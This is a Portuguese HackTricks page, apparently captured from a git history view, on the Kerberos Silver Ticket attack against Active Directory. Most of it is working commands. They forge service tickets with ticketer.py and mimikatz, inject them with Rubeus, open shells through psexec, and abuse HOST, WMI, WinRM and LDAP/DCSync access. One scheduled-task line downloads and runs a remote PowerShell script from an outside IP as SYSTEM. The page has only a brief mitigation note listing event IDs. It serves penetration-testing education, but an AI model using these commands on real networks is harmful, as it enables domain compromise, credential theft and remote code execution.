hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

182 lines
10 KiB
Markdown
Raw Normal View History

# Silver Ticket
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-05-24 00:07:19 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_polonês fluente escrito e falado necessário_).
{% embed url="https://www.stmcyber.com/careers" %}
## Silver ticket
O ataque Silver ticket é baseado em **criar um TGS válido para um serviço uma vez que o hash NTLM do serviço é obtido** (como o **hash da conta do PC**). Assim, é possível **ganhar acesso a esse serviço** forjando um TGS personalizado **como qualquer usuário**.
Neste caso, o **hash NTLM de uma conta de computador** (que é uma espécie de conta de usuário no AD) é **obtido**. Portanto, é possível **criar** um **ticket** para **entrar naquela máquina** com privilégios de **administrador** através do serviço SMB. As contas de computador redefinem suas senhas a cada 30 dias por padrão.
Também deve ser levado em conta que é possível E **PREFERÍVEL** (opsec) **forjar tickets usando as chaves Kerberos AES (AES128 e AES256)**. Para saber como gerar uma chave AES, leia: [seção 4.4 do MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) ou o [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).
{% code title="Linux" %}
```bash
2020-12-23 11:29:00 +00:00
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
```
```markdown
No Windows, **Mimikatz** pode ser usado para **criar** o **ticket**. Em seguida, o ticket é **injetado** com **Rubeus**, e finalmente um shell remoto pode ser obtido graças ao **PsExec**.
{% code title="Windows" %}
```
```bash
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
2022-08-15 19:31:10 +00:00
#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
```
{% endcode %}
O serviço **CIFS** é o que permite **acessar o sistema de arquivos da vítima**. Você pode encontrar outros serviços aqui: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** Por exemplo, você pode usar o serviço **HOST** para criar uma _**schtask**_ em um computador. Em seguida, você pode verificar se isso funcionou tentando listar as tarefas da vítima: `schtasks /S <hostname>` ou você pode usar o serviço **HOST e RPCSS** para executar consultas **WMI** em um computador, teste fazendo: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
2023-06-06 18:56:34 +00:00
### Mitigação
IDs de eventos de Silver ticket (mais discretos que golden ticket):
* 4624: Logon de Conta
* 4634: Logoff de Conta
* 4672: Logon de Admin
2023-06-06 18:56:34 +00:00
[**Mais informações sobre Silver Tickets em ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
2023-06-06 18:56:34 +00:00
## Serviços Disponíveis
2022-05-24 00:07:19 +00:00
| Tipo de Serviço | Service Silver Tickets |
2022-05-24 00:07:19 +00:00
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
2023-06-06 18:56:34 +00:00
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Dependendo do SO também:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Em algumas ocasiões você pode simplesmente pedir: WINRM</p> |
2023-06-06 18:56:34 +00:00
| Tarefas Agendadas | HOST |
| Compartilhamento de Arquivos do Windows, também psexec | CIFS |
| Operações LDAP, incluindo DCSync | LDAP |
| Ferramentas de Administração Remota de Servidores Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
2022-05-24 00:07:19 +00:00
| Golden Tickets | krbtgt |
2021-01-04 22:37:21 +00:00
Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmetro:
2021-01-04 22:37:21 +00:00
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
## Abusando de Service tickets
2021-01-04 23:12:42 +00:00
Nos seguintes exemplos vamos imaginar que o ticket é recuperado se passando pela conta do administrador.
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
### CIFS
2021-01-04 23:12:42 +00:00
Com este ticket você poderá acessar as pastas `C$` e `ADMIN$` via **SMB** (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:
2021-01-04 23:12:42 +00:00
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Você também poderá obter um shell dentro do host ou executar comandos arbitrários usando **psexec**:
2021-01-04 23:12:42 +00:00
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/psexec-and-winexec.md" %}
[psexec-and-winexec.md](../ntlm/psexec-and-winexec.md)
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
### HOST
2021-01-04 23:12:42 +00:00
2023-06-06 18:56:34 +00:00
Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:
2021-01-04 23:12:42 +00:00
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
2021-01-04 23:12:42 +00:00
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Com esses tickets você pode **executar WMI no sistema vítima**:
2021-01-04 23:12:42 +00:00
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
2021-01-04 23:12:42 +00:00
```
Encontre **mais informações sobre wmiexec** na seguinte página:
2021-01-04 23:12:42 +00:00
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/wmicexec.md" %}
[wmicexec.md](../ntlm/wmicexec.md)
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
### HOST + WSMAN (WINRM)
2021-01-04 23:12:42 +00:00
Com acesso winrm a um computador, você pode **acessá-lo** e até obter um PowerShell:
2021-01-04 23:12:42 +00:00
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Verifique a seguinte página para aprender **mais formas de conectar-se a um host remoto usando winrm**:
2021-01-04 23:12:42 +00:00
2022-08-13 23:06:40 +00:00
{% content-ref url="../ntlm/winrm.md" %}
[winrm.md](../ntlm/winrm.md)
2022-05-24 00:07:19 +00:00
{% endcontent-ref %}
2021-01-04 23:12:42 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Observe que o **winrm deve estar ativo e ouvindo** no computador remoto para acessá-lo.
2021-01-04 23:12:42 +00:00
{% endhint %}
2022-05-24 00:07:19 +00:00
### LDAP
2021-01-04 23:12:42 +00:00
Com este privilégio, você pode extrair o banco de dados do DC usando **DCSync**:
2022-05-24 00:07:19 +00:00
```
2021-01-04 23:12:42 +00:00
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**Saiba mais sobre DCSync** na página a seguir:
2021-01-04 23:12:42 +00:00
2022-05-24 00:07:19 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2021-01-04 23:12:42 +00:00
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente escrito e falado_).
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>